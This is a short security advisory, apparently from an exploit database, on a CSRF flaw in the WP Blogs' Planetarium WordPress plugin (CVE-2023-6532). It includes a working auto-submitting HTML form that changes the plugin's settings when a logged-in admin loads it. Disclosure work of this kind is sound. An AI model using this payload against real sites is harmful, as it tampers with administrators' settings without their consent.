WP Blogs' Planetarium <= 1.0 - Settings Update via CSRF

2023-12-1800:00:00

Daniel Ruf

175

wordpress

csrf

settings update

exploit

AI Score

8.7

Confidence

High

EPSS

0.001

Percentile

24.1%

JSON

Description The plugin does not have CSRF check in place when updating its settings, which could allow attackers to make a logged in admin change them via a CSRF attack

<form action="https://example.com/wp-admin/options-general.php?page=wp-blogs-planetarium%2Fwbp.php" method="POST">
    <input type="text" name="key" value="hacked">
</form>
<script>
    document.forms[0].submit();
</script>

References

magos-securitas.com/txt/CVE-2023-6532.txt